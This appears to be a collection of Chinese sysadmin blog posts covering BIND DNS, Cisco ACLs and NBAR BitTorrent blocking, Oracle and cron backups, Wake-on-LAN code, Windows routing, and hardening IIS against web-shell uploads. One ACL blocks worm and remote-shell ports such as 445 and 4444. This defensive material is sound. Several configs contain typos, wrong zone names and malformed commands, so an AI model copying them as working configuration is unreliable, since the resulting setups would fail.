cache IN A 210.21.30.90 ;就有多少个CACHE的A记录
cache IN A 211.99.13.47



  2) /etc/named.conf中的内容为:


options {
directory "/var/named";
sortlist {
 #这一段表示当在本地执行查询时
  #将按照202.93.22.13,210.21.30.90,211.99.13.47的顺序返回地址
{ localhost;
{ localnets;
202.93.22.13;
{ 210.21.30.90; 211.99.13.47; };
};
};
#这一段表示当在202/8地址段进行DNS查询时
#将按照202.93.22.13,210.21.30.90,211.99.13.47的顺序返回地址
{ 202/8;
{ 202.93.22.13;
{ 210.21.30.90; 211.99.13.47; };
};
};
#这一段表示当在211/8地址段进行DNS查询时
#将按照211.99.13.47,202.93.22.13,210.21.30.90的顺序返回地址,
#也就是211.99.13.47是最靠近查询地点的节点
{ 211/8;
{ 211.99.13.47;
{ 202.93.22.13; 210.21.30.90; };
};
};
{ 61/8;
{ 202.93.22.13;
{ 210.21.30.90; 211.99.13.47; };
};
};
};
};

  zone "." {
  type hint;
   file "root.cache";
  };

  zone "localhost" {
  type master;
  file "localhost";
  };

  zone "cdn.com" {
    type master;
  file "cdn.com";
  };

三。设内外DNS
 外部DNS就是一般的设置,关键在于内部的DNS的设置上




## named.conf - configuration for bind
#
# Generated automatically by redhat-config-bind, alchemist et al.
# Any changes not supported by redhat-config-bind should be put
# in /etc/named.custom
#
controls {
inet 127.0.0.1 allow { localhost; } keys { rndckey; };
};

include "/etc/named.custom";

include "/etc/rndc.key";

options {
directory "/var/named/";
forwarders { 192.168.22.9; };  //转向到外部的DNS
};









zone "0.0.127.in-addr.arpa" {
type master;
file "0.0.127.in-addr.arpa.zone";
};
zone "22.168.192.in-addr.arpa" {
type master;
file "22.168.192.in-addr.arpa.zone";
};
zone "7.20.172.in-addr.arpa" {
type master;
file "7.20.172.in-addr.arpa.zone";
};

zone "localhost" {
type master;
file "localhost.zone";
};
zone "hutc.zj.cn" {
type master;
file "hutc.zj.cn.zone";
forwarders { };  //除了内部的本域解析,其余都放到外部的DNS上
};

四。利用bind9的view功能

options {
directory "/var/named";
};

acl "fx_subnet" {192.253.254/24; };
view "internal" { //我们区的内部视图
match-clients { "fx-subnet"; };
zone "fx.movie.edu" {

type master;
file 'db.fx.moive.edu";
};
zone "254.253.192.in-addr.arpa" {
type master;
file "db.192.253.254";
};
};

view "external" { //相应于世界的其余部分,我们区的视图
match-clients { any; }; //隐式地
rescursion no; //我们的子网外面,它们不应该请求递归查询

 zone "fx.movie.edu" {
type master;
file "db.fx.movie.edu.external"; //外部区数据文件
};

zone "254.254.192.in.arpa" {
type master;
file "db.192.253.254.external";//外部区数据文件
};
};

总结:方法一:过于复杂,并且不能解决MX纪录的问题
   方法二:实际上用别的思想来解决内外DNS解析的问题
   方法三:实际已经运用过,还可以用ACL来做进一步的限制,就是和方法四比较起来,机器用的多了一点
   方法四:感觉最好了。

应用于端口的与应用VLAN的ACL

头近日让我做一个方案,让一个部门的部分的机器能上内外网,而一部分机器却只能上内外,外网是不能上的。更晕的还是有一个HUB。让我把HUB上一部分机器也做控制,(注意不是全部的,而是HUB的部分机器)。想了N久,做了几次实验,想做了一个方案:

一是在主交换上划一个单独的VLAN,然后在这个VLAN上写上特定的ACL,然后把相应机器上联端口划到这个VLAN。不过,这样的话,HUB上的控制就没办法了。

二是在相应的机器上联端口的应用ACL。

应用端口和应用VLAN的ACL,然后在联HUB的交换机上做基于源IP的ACL

access-list 102 permit tcp any 192.0.0.0 0.255.255.255
access-list 102 permit udp any 192.0.0.0 0.255.255.255
access-list 102 permit tcp any 172.0.0.0 0.255.255.255
access-list 102 permit udp any 172.0.0.0 0.255.255.255
access-list 102 deny ip any any

具体参考了CISCO.com中的2950 4506部分的资料,还有就是http://tech.ccidnet.com/pub/article/c317_a80784_p1.html

很不错,推荐想学ACL的人看看

程唤醒源代码

今天单位开运动会,家里有点事情也就请假不来上班了,没想到,最后还是来了。呵呵,工作真是无奈啊,部门装了一个中控软件,真是极小的一个软件,后来涉及到网络问题,我只好从家里过来看看,因为这次因为是跨网段唤醒机器的问题,找了一个GOOGLE找到这个,就记下来了忘记出处了,留着自己用的。

void TWakeUpOnLanForm:: WakeRemoteComputer(AnsiString IPAddress,unsigned char * MacAddress)
{
unsigned char SendBuf[102];
for( int i = 0; i < 102; i ++)
{
SendBuf[i] = (i < 6) ? 0xFF : MacAddress[i%6];
}
TMemoryStream * MemoryStream = new TMemoryStream();

MemoryStream -> Clear();
MemoryStream -> Write(SendBuf,102);
NMUDP1 -> RemoteHost = IPAddress; //除去网络号后的IP段全部补255
//如 210.45.234.255
NMUDP1 -> SendStream(MemoryStream);
delete MemoryStream;

}

veritas netbackup出问题了?

今天TELNET到单位的SUN V880R小型机上看到下面的信息:

root@sun-jwgl # Oct 25 13:44:55 sun-jwgl root: [ID 702911 local0.alert] Legato Storage Manager media: (waiting) backup to pool 'Default' waiting for 1 writable backup tape(s)
Oct 25 13:44:55 sun-jwgl root: [ID 702911 local0.alert] Legato Storage Manager media: (waiting) backup to pool 'Default' waiting for 1 writable backup tape(s)

于是:xmanager2.联上V880R,运行/usr/openv/netbackup/bin/jnbSA & 启动veritas For UNIX 的图形界面,运行了一些日志,没有看出什么毛病,再回头看看出错信息, Pool 'deFault'? writable backup tape? 是不是在定义备份池的时候没定义好?用google查了一下,晕了,N多人说要reinstall veritas.本来以为一下子能解决的,看样子又要花上一定的时间了.晕啊

关闭WINXP的高级文字服务为win2000

这几天机器装了XP,一直想关闭XP的高级文字服务.可惜一直也没能找到方法,今天想下载个MY MPC的时候用GOOGLE找到了http://silence.hao-8.com/这个网站, 看到这个"输入法调整工具,可动态调整输入法顺序,并可关闭高级文字服务。 Windows 2000 中的输入法指示器(internat),可在 XP/2003 下使用。"有这么一个下载,下载解压后,把INTERNAT的包的文件COPY到c:\windows\ 然后运行imetools.exe,选择输入法风格中:输入法指示器(推荐),确定退出,然后看看,哈哈,怎么样?

sunos 下的oracle自动备份

晕啊,这几天事情太多了,小事多的让我头都晕了,呵呵,不急,不急,一件件来,先把ORACLE数据库本身的备份搞得,要不然,我睡觉都不安份啊.那个VERITAS能不能用,我心里都没底.(:()

第一步建立备份脚本:

root@sun-jwgl #

#cd /dbbackup/

#vi erverbackup.sh
ORACLE_HOME=/oracle/oracle/oracle817
ORACLE_SID=jw
NLS_LANG="simplified chinese"_china.zhs16gbk
PATH=$PATH:/usr/sbin:/$ORACLE_HOME/bin
export ORACLE_HOME
export ORACLE_SID
export NLS_LANG
export PATH
DATE=`date +%Y%m%d`
cd /$ORACLE_HOME/backup
exp 用户名/密码@主机字符串 file=JW${DATE}.dmp log=JW${DATE}.log

上面除了最后一行用户名密码和主机字符串要自己写之外,其它应该差不多,不过,大多数人把oracle装在/export/home/oracle中的,我们比较例外一点.

#chmod +x erver.sh 让脚本可执行的说

第二步运行一下看看root@sun-jwgl # ./erverbackup.sh

Export: Release 8.1.7.0.0 - Production on 星期三 10月 27 09:06:51 2004

(c) Copyright 2000 Oracle Corporation. All rights reserved.


Connected to: Oracle8i Enterprise Edition Release 8.1.7.0.0 - Production
With the Partitioning option
JServer Release 8.1.7.0.0 - Production
Export done in ZHS16GBK character set and ZHS16GBK NCHAR character set
. exporting pre-schema procedural objects and actions
. exporting foreign function library names for user JW
. exporting object type definitions for user JW
About to export JW's objects ...
. exporting database links
. exporting sequence numbers
. exporting cluster definitions
. about to export JW's tables via Conventional Path ...
. . exporting table A 244 rows exported

. exporting synonyms
. exporting views
. exporting stored procedures
. exporting operators
. exporting referential integrity constraints
. exporting triggers
. exporting indextypes
. exporting bitmap, functional and extensible indexes
. exporting posttables actions
. exporting snapshots
. exporting snapshot logs
. exporting job queues
. exporting refresh groups and children
. exporting dimensions
. exporting post-schema procedural objects and actions
. exporting statistics
Export terminated successfully without warnings.

一切OK,那么就进入

第三步放入crontab中

root@sun-jwgl # crontab -l
#ident "@(#)root 1.19 98/07/06 SMI" /* SVr4.0 1.1.3.1 */
#
# The root crontab should be used to perform accounting data collection.
#
# The rtc command is run to adjust the real time clock if and when
# daylight savings time changes.
#
10 3 * * 0,4 /etc/cron.d/logchecker
10 3 * * 0 /usr/lib/newsyslog
15 3 * * 0 /usr/lib/fs/nfs/nfsfind
1 2 * * * [ -x /usr/sbin/rtc ] && /usr/sbin/rtc -c > /dev/null 2>&1
30 3 * * * [ -x /usr/lib/gss/gsscred_clean ] && /usr/lib/gss/gsscred_clean
42 18 * * * /dbbackup/erverbackup.sh
root@sun-jwgl # crontab -e 18 * * * /dbbackup/erverbackup.sh

一切搞定,哈哈

我最喜欢的学校Berkeley

从一接触FreeBSD,看到那个可爱的daemon我就喜欢上它,慢慢的我发现BSD的好处了,也让我深深的想了解他的老祖宗那个叫做IT宗教的地方,UC BerKeley,呵呵,http://www.berkeley.edu/今天看到,真是一个N牛的学校,看一下它的honors&Awards,更晕啊,NOBEL就拿了七次,不过,我数一一下,三次经济三次物理一次化学,我喜欢的计算机好像没有,呵呵,不过,看看其它的也感觉到个学校的牛了,希望有生之年能去看看这个学校.找到几张校图,http://www.berkeley.edu/webcams/gallery.html 很不错耶!

linux下用CP的方法做备份

刚刚做完了ORACLE的备份,想想还有我们可爱的网关数据啊,呵呵,这么既然有老虎了,我就画个猫吧,呵呵,这是crontab的用法:

+---- minute
| +----- hour
| | +------ day of the month
| | | +------ month
| | | | +---- day of the week
| | | | | +-- command to execute
| | | | | |
34 3 * * * /home/backups/remote_db_backup.sh

方法步骤1:先建立一个放脚本的目录:/root/srunbackup/

#vi srunbackup

#! /bin/bash
#powered by leihuan
#2004-10-22

BackupPath=/data/backup/
DBPath=/data/
SourceFile="$DBPath"dbcharge.gdb
NewFile="$BackupPath"dbcharge$(date +%Y%m%d).bak
cp $SourceFile $NewFile

保存退出

第二步

#chmod +x srunbackup.sh

#./srunbackup.sh

试用一下,没错

第二步就是用最上面的方法加入crontab了,

#crontab -e

50 23 * * * /root/srunbackup/srunbackup.sh

用法跟VI的用法一样的(实际上就用vi来编辑crontab一个运行计划的文本文件而已.)

Platform limit of 64 STP 问题解决

今天在学校的主交换加了一个VLAN 127,到接入层把TRUNK设好,接入层的交换机是SW -C2950T-24的,把其中一个端口加到VLAN 127,出现了一个错误:01:21:41: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/6, changed state to down
01:21:45: %SPANTREE_VLAN_SW-2-MAX_INSTANCE: Platform limit of 64 STP instances exceeded. No instance created for VLAN127 (port Fa0/6).,查找了一下www.CISCO.com上的资料,看到资料也就想起了以前学CHINAITLAB中的CCNA中的教学部分,呵呵,一个命令搞定: no spanning-tree vlan127 ,原理嘛,还是自己看书比较好,生成树协议.

Cisco ACL Template - Border Ro

Following is a basic access control list (using Cisco ACL syntax) template for use on a border router that is positioned between your local site and the Internet. I recommend you implement an ACL of this type to filter all inbound traffic from the Internet. Please be sure to review RFC1918, RFC2196, RFC2827, and RFC3013 when planning your network security policies. A current list of the bogons is maintained by Rob Thomas who also maintains a full IOS template here.

remark *** bogons (bogus outside networks)
deny ip 0.0.0.0 1.255.255.255 any log-input
deny ip 2.0.0.0 0.255.255.255 any log-input
deny ip 5.0.0.0 0.255.255.255 any log-input
deny ip 7.0.0.0 0.255.255.255 any log-input
deny ip 10.0.0.0 0.255.255.255 any log-input
deny ip 23.0.0.0 0.255.255.255 any log-input
deny ip 27.0.0.0 0.255.255.255 any log-input
deny ip 31.0.0.0 0.255.255.255 any log-input
deny ip 36.0.0.0 1.255.255.255 any log-input
deny ip 39.0.0.0 0.255.255.255 any log-input
deny ip 41.0.0.0 0.255.255.255 any log-input
deny ip 42.0.0.0 0.255.255.255 any log-input
deny ip 49.0.0.0 0.255.255.255 any log-input
deny ip 50.0.0.0 0.255.255.255 any log-input
deny ip 58.0.0.0 1.255.255.255 any log-input
deny ip 60.0.0.0 0.255.255.255 any log-input
deny ip 70.0.0.0 1.255.255.255 any log-input
deny ip 72.0.0.0 7.255.255.255 any log-input
deny ip 82.0.0.0 1.255.255.255 any log-input
deny ip 84.0.0.0 3.255.255.255 any log-input
deny ip 88.0.0.0 7.255.255.255 any log-input
deny ip 96.0.0.0 31.255.255.255 any log-input
deny ip 169.254.0.0 0.0.255.255 any log-input
deny ip 172.16.0.0 0.15.255.255 any log-input
deny ip 192.0.2.0 0.0.0.255 any log-input
deny ip 192.168.0.0 0.0.255.255 any log-input
deny ip 197.0.0.0 0.255.255.255 any log-input
deny ip 198.18.0.0 0.1.255.255 any log-input
deny ip 201.0.0.0 0.255.255.255 any log-input
deny ip 222.0.0.0 1.255.255.255 any log-input
deny ip 224.0.0.0 31.255.255.255 any log-input
remark *** protocols
remark *** legacy small services no longer used
deny tcp any any range 0 19 log-input
deny udp any any range 0 19 log-input
remark *** snmp
deny tcp any any range 161 162 log-input
deny udp any any range 161 162 log-input
deny tcp any any eq 199 log-input
deny udp any any eq 199 log-input
deny tcp any any eq 391 log-input
deny udp any any eq 391 log-input
deny tcp any any eq 705 log-input
deny udp any any eq 705 log-input
deny tcp any any eq 1993 log-input
deny udp any any eq 1993 log-input
remark *** lan-only dhcp and tftp
deny udp any any range 67 69 log-input
deny tcp any any range 67 69 log-input
remark *** microsoft netbios
deny tcp any any range 135 139 log-input
deny udp any any range 135 139 log-input
deny tcp any any eq 445 log-input
deny udp any any eq 445 log-input
remark *** unix rpc
deny tcp any any eq 111 log-input
deny udp any any eq 111 log-input
remark *** lan-only unix services
deny tcp any any range 511 515 log-input
deny udp any any range 511 515 log-input
remark *** ircd
deny tcp any any eq 6667 log-input
deny udp any any eq 6667 log-input
remark *** icmp fragments
deny icmp any any fragments log-input
remark *** inbound ping
permit icmp any any echo
remark *** inbound ping response
permit icmp any any echo-reply
remark *** path MTU to function
permit icmp any any packet-too-big
remark *** flow control
permit icmp any any source-quench
remark *** time exceeded messages for traceroute and loops
permit icmp any any time-exceeded
remark *** block all other ICMP packets
deny icmp any any log-input
remark *** permit everything else
permit ip any any

ACL允许DHCP

真是晕啊,昨天晚上加班搞到十一点,图书馆说要让一部份机器只能上内网,不能上外网,我原来以为是很SIMPLY的事情,没想到,搞到后来,ACL是有用的,但是DHCP却不能获得IP地址,没了IP地址怎么用ACL啊,呵呵,想想以前我做实验的时候好像行的吗?呵呵,忽然想起来了,我以前做的实验都是在已经DHCP获得地址的情况下运用ACL的,所以正常的说,

access-list 102 permit tcp any 192.0.0.0 0.255.255.255
access-list 102 permit udp any 192.0.0.0 0.255.255.255
access-list 102 permit tcp any 172.0.0.0 0.255.255.255
access-list 102 permit udp any 172.0.0.0 0.255.255.255
access-list 102 permit igmp any any
access-list 102 permit icmp any any
access-list 102 deny ip any any

最后一句access-list 102 deny ip any any

把DHCP给做掉了,当时一想到这个问题,也晕了,DHCP到底用的是什么,我以前在TCP/IP三卷中是看到过,但现在给记了,真是晕啊,后来找到了下面的标准模块,呵呵,看到REMARK的DHCP,呵呵,就把上面的DHCP给改了

access-list 102 permit tcp any 192.0.0.0 0.255.255.255
access-list 102 permit udp any 192.0.0.0 0.255.255.255
access-list 102 permit tcp any 172.0.0.0 0.255.255.255
access-list 102 permit udp any 172.0.0.0 0.255.255.255
access-list 102 permit udp any any range 67 69
access-list 102 permit tcp any any range 67 69
access-list 102 permit igmp any any
access-list 102 permit icmp any any
access-list 102 deny ip any any
一切运行正常后,才敢回家,呵呵,

上面的事情给我一个教训:做事情不能想当然,要仔细

最常用的端口

Service Port
FTP 20,21
SSH 22
telnet 23
SMTP 25
DNS 53
DHCP 67,68
TFTP 69
HTTP 80
POP3 110
NNTP 119
NTP 123
IMAP4 143
LDAP 389
HTTPS 443
IMAPS 993
RADIUS 1812
AIM 5190

最常用的端口

windows改变机器本身的路由

我的机器有两块网卡,一块是千M的,一块是百M的,千M的联在内网,百M的联在外网,本时用的时候都是用外网的机器上网的.但是如果要进行管理和一些特殊的需要的时候,我就要用到内网的网卡进行联接了,可是现在问题有了,除非平时禁用内网,要不然机器总是先从内网的网卡进行上网.这样的网速大受影响.我知道是路由的问题,后来到运行---cmd --route print

Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 61.153.52.1 61.153.52.81 20
0.0.0.0 0.0.0.0 172.20.7.1 172.20.7.80 10
61.153.52.0 255.255.255.128 61.153.52.81 61.153.52.81 20
61.153.52.81 255.255.255.255 127.0.0.1 127.0.0.1 20
61.255.255.255 255.255.255.255 61.153.52.81 61.153.52.81 20
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.7.0 255.255.255.0 172.20.7.80 172.20.7.80 10
172.20.7.80 255.255.255.255 127.0.0.1 127.0.0.1 10
172.20.255.255 255.255.255.255 172.20.7.80 172.20.7.80 10
218.168.201.121 255.255.255.255 61.153.52.1 61.153.52.81 20
221.219.29.168 255.255.255.255 61.153.52.1 61.153.52.81 20
224.0.0.0 240.0.0.0 61.153.52.81 61.153.52.81 20
224.0.0.0 240.0.0.0 172.20.7.80 172.20.7.80 10
255.255.255.255 255.255.255.255 61.153.52.81 61.153.52.81 1
255.255.255.255 255.255.255.255 172.20.7.80 172.20.7.80 1
Default Gateway: 61.153.52.1
===========================================================================
Persistent Routes:

0

由于千M的网卡快,所以机器就默认用这块网卡进行上网了,所以把默认路由的METRIC设成了20,百M的设成了10,所以要先删除现在的一条路由,然后把61的那条METRIC改小就可以了.

C:\WINDOWS>route delete 0.0.0.0 Mask 0.0.0.0 61.153.52.1

C:\WINDOWS>route -p add 0.0.0.0 Mask 0.0.0.0 61.153.52.1 metric 2

C:\WINDOWS>route print
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x10003 ...00 a0 c9 e7 6e 6d ...... Intel(R) PRO/100+ PCI Adapter
0x30004 ...00 08 74 12 c3 50 ...... Intel(R) PRO/1000 MT Network Connection
===========================================================================
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 61.153.52.1 61.153.52.81 2
0.0.0.0 0.0.0.0 172.20.7.1 172.20.7.80 10
61.153.52.0 255.255.255.128 61.153.52.81 61.153.52.81 20
61.153.52.81 255.255.255.255 127.0.0.1 127.0.0.1 20
61.255.255.255 255.255.255.255 61.153.52.81 61.153.52.81 20
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
172.20.7.0 255.255.255.0 172.20.7.80 172.20.7.80 10
172.20.7.80 255.255.255.255 127.0.0.1 127.0.0.1 10
172.20.255.255 255.255.255.255 172.20.7.80 172.20.7.80 10
218.168.201.121 255.255.255.255 61.153.52.1 61.153.52.81 20
221.219.29.168 255.255.255.255 61.153.52.1 61.153.52.81 20
224.0.0.0 240.0.0.0 61.153.52.81 61.153.52.81 20
224.0.0.0 240.0.0.0 172.20.7.80 172.20.7.80 10
255.255.255.255 255.255.255.255 61.153.52.81 61.153.52.81 1
255.255.255.255 255.255.255.255 172.20.7.80 172.20.7.80 1
Default Gateway: 61.153.52.1
===========================================================================
Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 61.153.52.1 2

C:\>route -p add 172.0.0.0 mask 255.0.0.0 172.20.7.1

封电骡和BT都可以的写法

刚刚做了一个电驴和BT的,只是可惜对于EMULE,虽然国外的BBS上说EDONKEY最新version2.0的包括了emule,可我实验了一下,不行,只能对edonkey本身有用.
ip nbar pdlm bittorrent.pdlm
ip nbar pdlm eDonkey.pdlm

class-map match-any bittorrent
match protocol bittorrent
match protocol edonkey
!
!
policy-map bittorrent-policy
class bittorrent
drop
!

是match-any 不是用match-all

match-all Logical-AND all matching statements under this classmap
match-any Logical-OR all matching statements under this classmap

封emule还不行

刚刚做了一个电驴和BT的,只是可惜对于EMULE,虽然国外的BBS上说EDONKEY最新version2.0的包括了emule,可我实验了一下,不行,只能对edonkey本身有用.
ip nbar pdlm bittorrent.pdlm
ip nbar pdlm eDonkey.pdlm

class-map match-all bittorrent
match protocol bittorrent
match protocol edonkey
!
!
policy-map bittorrent-policy
class bittorrent
drop

在路由器封BT方法大全

最近为了封BT,几乎把NBO的网络论坛找遍了,呵呵,实验了几种方法,得出几个结论(说实话,也就是把网上的方法总结小小一把),
第一是常用的封端口的方法:
呵呵,常用的命令如下:

1限速∶
access-list 102 permit tcp any any range 6881 6890
access-list 102 permit tcp any range 6881 6890 any
access-list 102 deny ip any any

rate-limit input access-group 102 712000 8000 8000 conform-action transmit exceed-action drop
rate-limit output access-group 102 712000 8000 8000 conform-action transmit exceed-action drop

2禁止∶
access-list 102 deny tcp any any range 6881 6890
access-list 102 deny tcp any range 6881 6890 any
access-list 102 permit ip any any

这种方法有其局限性,一是现在有的bt软件,再封锁后会自动改端口二是我仔细研究过好几个BT下载软件,它们现在的announce端口现在已经用8000、8080的说,如果连这个也封,那网络使用就有可能不正常(我这样做过,呵呵,后来N多人打电话找我,吓得我马上DEL掉了)

第二种方法:就是用NBAR (Network-Based Application Recognition)网络应用识别
NBAR是一种动态能在四到七层寻找协议的技术,它不但能做到普通ACL能做到那样控制静态的TCP UDP的报,也能做到控制一般ACLs不能做到动态的端口的那些协议(如BT)之类.
NBAR包含了一种叫做发现特征的协议(a Protocol Discovery feature ),用它可以轻易发现那些不能传输过程中的应用协议,它能端口上做到进出流量统计\流速统计,最重要的它还有一种叫做
An external Packet Description Language Module (PDLM)的文件用来扩展NBAR识别的协议。(具体我也翻译不出来,只看了个大概),
我就说说过程:
1到http://www.cisco.com/pcgi-bin/tablebuild.pl/pdlm 下载bittorrent.pdlm,(要CCO的)
2放到TFTP,然后用copy tftp disk2(大多数应该是flash)
拷到路由器中,
route7206#conf t
Enter configuration commands, one per line. End with CNTL/Z.
route7206(config)#ip nbar pdlm bittorrent.pdlm
route7206(config)#

!
ip nbar pdlm bittorrent.pdlm
!

1.) 创建一个 a class-map and policy map 并且把它应用到相应的端口:

route7206(config)#ip nbar
route7206(config)#ip nbar pd
route7206(config)#ip nbar pdlm bitt
route7206(config)#ip nbar pdlm bittorrent.pdlm
route7206(config)#class-map match-all bittorrent
route7206(config-cmap)#match proto
route7206(config-cmap)#match protocol bittorrent
route7206(config-cmap)#polic
route7206(config-cmap)#policy-map bittorrent-policy
route7206(config-pmap)#class bittorrent
route7206(config-pmap-c)#drop
route7206(config-pmap-c)#exit
route7206(config-pmap)#exit
route7206(config)#interface GigabitEthernet0/2
route7206(config-if)#servi
route7206(config-if)#service-policy input bi
route7206(config-if)#service-policy input bittoreent-policy
% policy map bittoreent-policy not configured
route7206(config-if)#service-policy input bittorrent-policy
route7206(config-if)#service-policy output bittorrent-policy


#show runn
得到关于BT的部分是
class-map match-all bittorrent
match protocol bittorrent
!
!
policy-map bittorrent-policy
class bittorrent
drop
!
interface GigabitEthernet0/2
description CONNECT INSIDE
ip address 192.168.168.1 255.255.255.252 secondary
ip address 192.168.21.1 255.255.255.0
ip nat inside
[B]service-policy input bittorrent-policy
service-policy output bittorrent-policy[/B]
duplex full
speed 1000
media-type rj45
no negotiation auto

我实验了一下,这样的话,BT就不能下载,呵呵
感觉目前这样的技术比较好,我正在实验去掉EMULE的方法,

用acl来防止一般的网络发包病毒

这几天主交换机CPU负载一直都很高,100%,领导电话打个不停,由于忙着论文的事情,所以也一直没有好好做这个事情.今天早上,一早就来了,GOOGLE一把,然后做了一个ACL:

deny tcp any any eq echo
deny tcp any any eq chargen
deny tcp any any eq 135 (3467 matches)
deny tcp any any eq 136
deny tcp any any eq 137
deny tcp any any eq 138
deny tcp any any eq 139 (3322 matches)
deny tcp any any eq 389
deny tcp any any eq 445 (302741 matches)
deny tcp any any eq 4444
deny tcp any any eq 6655 (15 matches)
deny udp any any eq tftp
deny udp any any eq 135
deny udp any any eq 136
deny udp any any eq netbios-ns (5253 matches)
deny udp any any eq netbios-dgm (882 matches)
deny udp any any eq netbios-ss
deny udp any any eq 389
deny udp any any eq 445
deny udp any any eq 1434
deny udp any any eq 1433
deny icmp any any (539 matches)
permit ip any any (3168057 matches)

看样子基本上是发445的包比较多,呵呵,现在主交换CPU负载已经下到10%了,网络病毒包真是恐怖的说.

在登陆脚本文件中来给用户安装打印机

在登陆脚本文件中来给用户安装打印机


举例来说
我就有一台网络打印机.服务器名字叫F1_SRV01,打印机名字叫2a_PRT01
在命令行中输入:
代码:

rundll32 printui.dll,PrintUIEntry /ga /n\\f1srv01\2A_PRT01 (区分大小写的)


回车就可以了

下次用户重新登陆就已经添加到打印机列表里了

如何在WEB服务器中禁用不必要的组件.

我们单位每个部门都有自己的网站,然后通过一个总管来上传,现在出现一个新问题,有的同志偷偷的把带有上传功能的ASP网页夹在部门网页中通过总管的FTP上传上来,然后再上传cmd.exe rar.exe和一些带解压的网页,就可以做到1、想传什么就自己上传什么。不再通过FTP了。2、自己可以在IIS下通过RAR解压来创建新的文件夹。可想想其实每一步都很合理,加在一起就不合法了。
想了很久,找了很多方法最后总结了一个比较成功的方法.
在基于windows平台上的WEB服务器可以能过以下方法达到完全禁用或者部分禁用组件来实现IIS的安全性.第一种:修改组件的Progid的值,在ASP里调用组件的方式通常是 Set 对象名=Server. CreateObject("Progid"),这时候我们就可以通过修改注册表中的Progid值从达 到禁用该组件的方法。在 开始-运行中敲入regedit,然后找到HKEY_CLASSES_ROO T\adodb.stream,这时候我们就可以更改该Progid的值了,如改 成adodb.stream8。这样在ASP页里就这样调用了: <%@ Language=Vbscript%> <% Set Fs=Server.CreateObject("adodb.stream8") %> (如果你前面没有调用过该组件的话,则无须重启,就可以看到效果了,否则请重 启后看效果。) 这时候我们看看还是用原来的调用方法的结果: <%@ Language=Vbscript%> <% Set Fs=Server.CreateObject("adodb.stream") %> 这时候的运行结果为: 服务器对象 错误 'ASP 0177 : 800401f3' Server.CreateObject 失败 /www/aa.asp, 行3 第二种方法:修改Clsid,除了CreateObject方法以 外,也可以使用一般的标注建立一个组件,我们可以在ASP里面使用HTML的标注,以便在网页中加入一个组件。方法是: Runat表示是在服务端执行,Scope表示组件的生命周期,可以选用Session,Appl ication或page(表示当前页面,也可缺省) 这种写法对我们没用,还有一种写法是: 我们也可以通过修改该Clsid的值而禁用该组件,如将注册表中HKEY_CLASSES_RO OT\adodb.stream\CLSID的值0D43FE01-F093-11CF-8940-00A0C90 54228改成0D43FE01-F093-11CF-8940-00A0C9054229(改了最后面一位),这时候的 写法为: 看运行结果,没问题,OK。这时候我们再用 这时候就出错了。 这样的话,如果只是少量的网站管理员要用ASP的FSO或adodb.stream组件的话,我们可以把正确的proid和clsid告诉他,不过,据我现在看来用这两个组件很少,除非都有些心术不正的人.我现在用这种方法禁止了三个组件,一是fso 二是adodb.stream 三是WScript.Shell,呵呵,这样的话,如果再正常设置IIS,安全性就可以更高了.

Delete a Service

Normally it should not be necessary to manually delete a service. Uninstalling an application should remove its associated service (if any).
However, should it be necessary to manually remove a service:
Run Regedit or regedt32.
Find the registry entry:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services
Find the service there and delete it.You may wish to look at the keys and see what files the service was using and perhaps delete them also.
Note: You will have to reboot before the list gets updated in server manager

DNS server安装笔记

早上HP 的DNS SERVER坏了,没办法找了台PC救急,装了FreeBSD4.7,装了BIND。以前参考过一些文章是在Chinaunix上,现在就写下来,为了自己不会忘记,也为了给有用的兄弟用。安装FreeBSD是选择MINI加CUSTOM中VIM,一是我喜欢用VIM,二是这样的话就会安装 imake[主要为了编译安装新的BIND]机器名:dns.test.comIP地址配置好用/stand/sysinstall 中添加一个wheel组用户,这主要是为了SSH方便。[FB中好像默认不允许ROOT用户SSH登录]先用这个用户登录,然后再su一把。。。。。1下载bind9然后fetch下载最新的BIND,我是安装BIND 9.2.1.tar.gz包。放到/root 下面。[http://www.neweasier.com/software.html?class=2]2安装dns# cd /rootdns# tar zvxf bind-9.2.1.tar.gzdns# cd bind-9.2.1dns#./configure --enable-threadsdns#makedns#make install把BSD中默认安装的BIND8转换掉dns#mv /usr/sbin/named /usr/sbin/named.olddns#ln -fs /usr/local/sbin/named /usr/sbin/named进入/usr/local/sbin目录下执行:dns## ./rndc-confgen -a(此命令在/etc目录下将生成一个rndb.key文件)其他的需要修改的文件依次如下:/etc/resolv.conf**************************domain test.com /*你自己的要域名nameserver 127.0.0.1 /*告诉OS你自己是DNS servernameserver 192.168.20.9 /*这是自己用的第二DNS,最好设置成你的ISP的DNS IP*************************************/etc/namedb/named.conf /*有些没用的信息去掉了,选取一些*********************************options {directory "/etc/namedb"; /*指定配置文件所在目录*/forwarders {192.168.20.9; 不能解析时转发地址 };/*host { any; } { 可以做ACL的,不过我没用到topology {127.0.0.0/8;};};*/zone "." {type hint;file "named.root";};zone "0.0.127.IN-ADDR.ARPA" {type master;file "localhost.rev";};zone "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.IP6.INT" {type master;file "localhost-v6.rev";};zone "test.com" {type master;file "ss/test.com.zone";};zone "22.168.192.in-addr.arpa" {type master;file "ss/22.168.192.in-addr.arpa.zone";};**********************************************************/etc/rc.conf*******************************************************named_enable="YES" named_flags="-c /etc/namedb/named.conf"********************************************************dns# mkdir /etc/namedb/ssdns#chown bind:bind /etc/namedb/ssdns# chmod 750 /etc/namedb/ss/etc/named/ss/22.168.192.in-addr.arpa.zone反向解析文件***********************************************$TTL 86400@ IN SOA dns2.test.com. root.localhost (1 ; serial28800 ; refresh7200 ; retry604800 ; expire86400 ; ttk)@ IN NS dns2.test.com.10 IN PTR www.test.com.14 IN PTR mail.test.com.***********************************************/etc/named/ss/ test.com.zone正向解析文件****************************$TTL 86400@ IN SOA dns2.test.com. root.test.com (6 ; serial28800 ; refresh7200 ; retry604800 ; expire86400 ; ttl)@ IN MX 10 mail.test.com.www IN A 192.168.22.10netc IN A 192.168.22.15ftp.netc IN A 192.168.22.24elib IN A 192.168.22.41www.netc IN CNAME 